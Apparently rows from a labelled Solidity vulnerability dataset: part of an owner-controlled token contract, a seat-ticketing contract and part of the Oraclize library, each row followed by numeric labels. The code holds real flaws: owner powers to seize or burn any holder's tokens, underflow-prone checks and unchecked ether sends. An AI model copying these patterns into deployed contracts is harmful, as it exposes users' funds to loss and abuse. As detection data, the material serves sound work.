ethFundDeposit = msg.sender;
allowTransfers = false;
}
function _isUserInternalLock() internal view returns (bool) {
return getAccountLockState(msg.sender);
}
function increaseSoldSaleSupply (uint256 _value) onlyOwner public {
require (_value + soldSupply < totalSupply);
soldSupply = soldSupply.add(_value);
IncreaseSoldSaleSupply(_value);
}
function decreaseSoldSaleSupply (uint256 _value) onlyOwner public {
require (soldSupply - _value > 0);
soldSupply = soldSupply.sub(_value);
DecreaseSoldSaleSupply(_value);
}
function mintToken(address target, uint256 mintedAmount) onlyOwner public {
balances[target] = balances[target].add(mintedAmount);
totalSupply = totalSupply.add(mintedAmount);
Transfer(0, this, mintedAmount);
Transfer(this, target, mintedAmount);
}
function destroyToken(address target, uint256 amount) onlyOwner public {
balances[target] = balances[target].sub(amount);
totalSupply = totalSupply.sub(amount);
Transfer(target, this, amount);
Transfer(this, 0, amount);
}
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
function setEthFundDeposit(address _ethFundDeposit) onlyOwner public {
require(_ethFundDeposit != address(0));
ethFundDeposit = _ethFundDeposit;
}
function transferETH() onlyOwner public {
require(ethFundDeposit != address(0));
require(this.balance != 0);
require(ethFundDeposit.send(this.balance));
}
function setExchangeRate(uint256 _sellExchangeRate, uint256 _buyExchangeRate) onlyOwner public {
sellExchangeRate = _sellExchangeRate;
buyExchangeRate = _buyExchangeRate;
}
function setName(string _name) onlyOwner public {
name = _name;
}
function setSymbol(string _symbol) onlyOwner public {
symbol = _symbol;
}
function setAllowTransfers(bool _allowTransfers) onlyOwner public {
allowTransfers = _allowTransfers;
}
function transferFromAdmin(address _from, address _to, uint256 _value) onlyOwner public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(_from, _to, _value);
return true;
}
function setEnableInternalLock(bool _isEnable) onlyOwner public {
enableInternalLock = _isEnable;
}
function lockInternalAccount(address _target, bool _lock, uint256 _releaseTime) onlyOwner public {
require(_target != address(0));
internalLockAccount[_target] = _lock;
releaseLockAccount[_target] = _releaseTime;
}
function getAccountUnlockTime(address _target) public view returns(uint256) {
return releaseLockAccount[_target];
}
function getAccountLockState(address _target) public view returns(bool) {
if(enableInternalLock && internalLockAccount[_target]){
if((releaseLockAccount[_target] > 0)&&(releaseLockAccount[_target]<block.timestamp)){
return false;
}
return true;
}
return false;
}
function internalSellTokenFromAdmin(address _to, uint256 _value, bool _lock, uint256 _releaseTime) onlyOwner public returns (bool) {
require(_to != address(0));
require(_value <= balances[owner]);
balances[owner] = balances[owner].sub(_value);
balances[_to] = balances[_to].add(_value);
soldSupply = soldSupply.add(_value);
sellSupply = sellSupply.add(_value);
Transfer(owner, _to, _value);
lockInternalAccount(_to, _lock, _releaseTime);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
if (!isOwner()) {
require (allowTransfers);
require(!frozenAccount[_from]);
require(!frozenAccount[_to]);
require(!_isUserInternalLock());
}
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool) {
if (!isOwner()) {
require (allowTransfers);
require(!frozenAccount[msg.sender]);
require(!frozenAccount[_to]);
require(!_isUserInternalLock());
}
return super.transfer(_to, _value);
}
function () internal payable{
uint256 currentTime = block.timestamp;
require((currentTime>crowdsaleStartTime)&&(currentTime<crowdsaleEndTime));
require(crowdsaleTotal>0);
require(buy());
crowdsaleTotal = crowdsaleTotal.sub(msg.value.mul(buyExchangeRate));
}
function buy() payable public returns (bool){
uint256 amount = msg.value.mul(buyExchangeRate);
require(!stopBuy);
require(amount <= balances[owner]);
balances[owner] = balances[owner].sub(amount);
balances[msg.sender] = balances[msg.sender].add(amount);
soldSupply = soldSupply.add(amount);
buySupply = buySupply.add(amount);
Transfer(owner, msg.sender, amount);
return true;
}
function sell(uint256 amount) public {
uint256 ethAmount = amount.div(sellExchangeRate);
require(!stopSell);
require(this.balance >= ethAmount);
require(ethAmount >= 1);
require(balances[msg.sender] >= amount);
require(balances[owner] + amount > balances[owner]);
require(!frozenAccount[msg.sender]);
require(!_isUserInternalLock());
balances[owner] = balances[owner].add(amount);
balances[msg.sender] = balances[msg.sender].sub(amount);
soldSupply = soldSupply.sub(amount);
sellSupply = sellSupply.add(amount);
Transfer(msg.sender, owner, amount);
msg.sender.transfer(ethAmount);
}
function setCrowdsaleStartTime(uint256 _crowdsaleStartTime) onlyOwner public {
crowdsaleStartTime = _crowdsaleStartTime;
}
function setCrowdsaleEndTime(uint256 _crowdsaleEndTime) onlyOwner public {
crowdsaleEndTime = _crowdsaleEndTime;
}
function setCrowdsaleTotal(uint256 _crowdsaleTotal) onlyOwner public {
crowdsaleTotal = _crowdsaleTotal;
}
} | 1 | 3,861 |
pragma solidity ^0.4.15;
contract tickets {
mapping(uint256 => uint256) public ticketPrices;
mapping(address => uint256[]) public ticketsOwners;
mapping(uint256 => address) public ticketsOwned;
mapping(address => uint256) public noOfTicketsOwned;
mapping(address => bool) public banned;
uint256 noOfSeats;
mapping(address => uint256[]) public reservations;
mapping(address => uint256) public noOfreservations;
mapping(address => uint256) public timeOfreservations;
mapping(address => uint256) public priceOfreservations;
mapping(uint256 => address) public addressesReserving;
uint256 public lowestAddressReserving=0;
uint256 public highestAddressReserving=0;
mapping(uint256 => uint256[]) public ticketTransfers;
mapping(uint256 => uint256) public ticketTransfersPerAmount;
uint256 public ticketTransfersAmount = 0;
mapping(address => uint256[]) public ticketTransferers;
mapping(address => uint256) public ticketTransferersAmount;
mapping(address => uint256[]) public ticketTransferees;
mapping(address => uint256) public ticketTransfereesAmount;
mapping(address => bytes32) public hashes;
string public name;
uint256 public secondsToHold = 60 * 5 ;
address public owner;
function tickets(uint256[] ticks, uint256 nOfSeats, string n) {
for(uint256 i=0;i<nOfSeats;i++) {
ticketPrices[i] = ticks[i];
}
noOfSeats = nOfSeats;
name = n;
owner = msg.sender;
}
function reserveSeats(uint256[] seats, uint256 nOfSeats) {
if(noOfreservations[msg.sender] != 0 && !banned[msg.sender]) {
revert();
}
resetReservationsInternal();
uint256 price = 0;
for(uint256 i=0;i<nOfSeats;i++) {
if(ticketsOwned[seats[i]] != 0x0) {
revert();
}
reservations[msg.sender].push(seats[i]);
price += ticketPrices[seats[i]];
ticketsOwned[seats[i]] = msg.sender;
}
noOfreservations[msg.sender] = nOfSeats;
timeOfreservations[msg.sender] = now;
priceOfreservations[msg.sender] = price;
noOfTicketsOwned[msg.sender]++;
highestAddressReserving++;
Reserved(msg.sender, seats);
}
function resetReservations(address requester, bool resetOwn) {
if(noOfreservations[requester] == 0) {
throw;
}
for(uint256 i=0;i<noOfreservations[requester] && resetOwn;i++) {
ticketsOwned[reservations[requester][i]] = 0x0;
noOfTicketsOwned[msg.sender]--;
}
reservations[requester] = new uint256[](0);
noOfreservations[requester] = 0;
timeOfreservations[requester] = 0;
priceOfreservations[requester] = 0;
}
function resetReservationsInternal() private {
bool pastTheLowest = false;
bool stop = false;
for(uint256 i=lowestAddressReserving;i<highestAddressReserving && !stop;i++) {
if(timeOfreservations[addressesReserving[i]] != 0) {
pastTheLowest = true;
if(now - timeOfreservations[addressesReserving[i]] > secondsToHold) {
resetReservations(addressesReserving[i], true);
} else {
stop = true;
}
}
if(timeOfreservations[addressesReserving[i]] == 0 && !pastTheLowest) {
lowestAddressReserving = i;
}
}
}
function revokeTickets(address revokee, bool payback) payable {
if(msg.sender == owner) {
banned[revokee] = true;
uint256 price = 0;
for(uint256 i=0;i<noOfTicketsOwned[revokee];i++) {
ticketsOwned[ticketsOwners[revokee][i]] = 0x0;
price+=ticketPrices[ticketsOwners[revokee][i]];
}
ticketsOwners[revokee] = new uint256[](0);
noOfTicketsOwned[revokee] = 0;
if(payback) {
revokee.send(price);
}
Banned(revokee, payback);
}
}
function InvokeTransfer(address transferee, uint256[] ticks, uint256 amount) {
if(amount>0 && getTransfer(msg.sender,transferee) != 100000000000000000) {
for(uint256 i=0;i<amount;i++) {
ticketTransfers[ticketTransfersAmount].push(ticks[i]);
}
ticketTransferers[msg.sender][ticketTransferersAmount[msg.sender]++] = ticketTransfersAmount;
ticketTransferees[transferee][ticketTransfereesAmount[transferee]++] = ticketTransfersAmount;
ticketTransfersPerAmount[ticketTransfersAmount] = amount;
TransferStarted(msg.sender, transferee, ticks, ticketTransfersAmount++);
} else {
revert();
}
}
function removeTransfer(uint256 transferID) {
bool transferer = false;
for(uint256 i=0;i<ticketTransferersAmount[msg.sender] && !transferer;i++) {
if(ticketTransferers[msg.sender][i] == transferID) {
transferer = true;
}
}
if(transferer) {
ticketTransfers[transferID] = new uint256[](0);
} else {
revert();
}
}
function finishTransfer(uint256 transferID) payable {
bool transferee = false;
for(uint256 j=0;j<ticketTransfereesAmount[msg.sender] && !transferee;j++) {
if(ticketTransferees[msg.sender][j] == transferID) {
transferee = true;
}
}
if(!transferee) {
revert();
}
uint256 price = 0;
for(uint256 i=0;i<ticketTransfersPerAmount[transferID];i++) {
price += ticketPrices[ticketTransfers[transferID][i]];
}
if(msg.value == price) {
for(i=0;i<ticketTransfersPerAmount[transferID];i++) {
ticketsOwned[ticketTransfers[transferID][i]] = msg.sender;
}
Transferred(transferID);
} else {
revert();
}
}
function getTransfer(address transferer, address transferee) returns (uint256) {
for(uint256 i=0;i<ticketTransferersAmount[transferer];i++) {
for(uint256 j=0;j<ticketTransfereesAmount[transferee];j++) {
if(ticketTransferers[transferer][i] == ticketTransferees[transferee][j]) {
return ticketTransferees[transferee][j];
}
}
}
return 100000000000000000;
}
function setHash(bytes32 hash) {
hashes[msg.sender] = hash;
}
function checkHash(address a, string password) constant returns (bool) {
return hashes[a]!="" && hashes[a] == sha3(password);
}
function() payable {
if(msg.value == priceOfreservations[msg.sender] && !banned[msg.sender]) {
for(uint256 i=0;i<noOfreservations[msg.sender];i++) {
ticketsOwners[msg.sender].push(reservations[msg.sender][i]);
}
resetReservations(msg.sender, false);
owner.send(msg.value);
Confirmed(msg.sender);
} else {
revert();
}
}
event Reserved(address indexed _to, uint256[] _tickets);
event Confirmed(address indexed _to);
event TransferStarted(address indexed _from, address indexed _to, uint256[] _tickets, uint256 _transferID);
event Transferred(uint256 _transferID);
event Banned(address indexed _banned, bool payback);
} | 0 | 229 |
pragma solidity ^0.4.19;
contract OraclizeI {
address public cbAddress;
function query(uint _timestamp, string _datasource, string _arg) payable returns (bytes32 _id);
function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) payable returns (bytes32 _id);
function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) payable returns (bytes32 _id);
function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) payable returns (bytes32 _id);
function queryN(uint _timestamp, string _datasource, bytes _argN) payable returns (bytes32 _id);
function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) payable returns (bytes32 _id);
function getPrice(string _datasource) returns (uint _dsprice);
function getPrice(string _datasource, uint gaslimit) returns (uint _dsprice);
function useCoupon(string _coupon);
function setProofType(byte _proofType);
function setConfig(bytes32 _config);
function setCustomGasPrice(uint _gasPrice);
function randomDS_getSessionPubKeyHash() returns(bytes32);
}
contract OraclizeAddrResolverI {
function getAddress() returns (address _addr);
}
contract usingOraclize {
uint constant day = 60*60*24;
uint constant week = 60*60*24*7;
uint constant month = 60*60*24*30;
byte constant proofType_NONE = 0x00;
byte constant proofType_TLSNotary = 0x10;
byte constant proofType_Android = 0x20;
byte constant proofType_Ledger = 0x30;
byte constant proofType_Native = 0xF0;
byte constant proofStorage_IPFS = 0x01;
uint8 constant networkID_auto = 0;
uint8 constant networkID_mainnet = 1;
uint8 constant networkID_testnet = 2;
uint8 constant networkID_morden = 2;
uint8 constant networkID_consensys = 161;
OraclizeAddrResolverI OAR;
OraclizeI oraclize;
modifier oraclizeAPI {
if((address(OAR)==0)||(getCodeSize(address(OAR))==0))
oraclize_setNetwork(networkID_auto);
if(address(oraclize) != OAR.getAddress())
oraclize = OraclizeI(OAR.getAddress());
_;
}
modifier coupon(string code){
oraclize = OraclizeI(OAR.getAddress());
oraclize.useCoupon(code);
_;
}
function oraclize_setNetwork(uint8 networkID) internal returns(bool){
if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){
OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed);
oraclize_setNetworkName("eth_mainnet");
return true;
}
if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){
OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1);
oraclize_setNetworkName("eth_ropsten3");
return true;
}
if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){
OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e);
oraclize_setNetworkName("eth_kovan");
return true;
}
if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){
OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48);
oraclize_setNetworkName("eth_rinkeby");
return true;
}
if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){
OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475);
return true;
}
if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){
OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF);
return true;
}
if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){
OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA);
return true;
}
return false;
}
function __callback(bytes32 myid, string result) {
__callback(myid, result, new bytes(0));
}
function __callback(bytes32 myid, string result, bytes proof) {
}
function oraclize_useCoupon(string code) oraclizeAPI internal {
oraclize.useCoupon(code);
}
function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource);
}
function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource, gaslimit);
}
function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(0, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(timestamp, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(0, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_cbAddress() oraclizeAPI internal returns (address){
return oraclize.cbAddress();
}
function oraclize_setProof(byte proofP) oraclizeAPI internal {
return oraclize.setProofType(proofP);
}
function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal {
return oraclize.setCustomGasPrice(gasPrice);
}
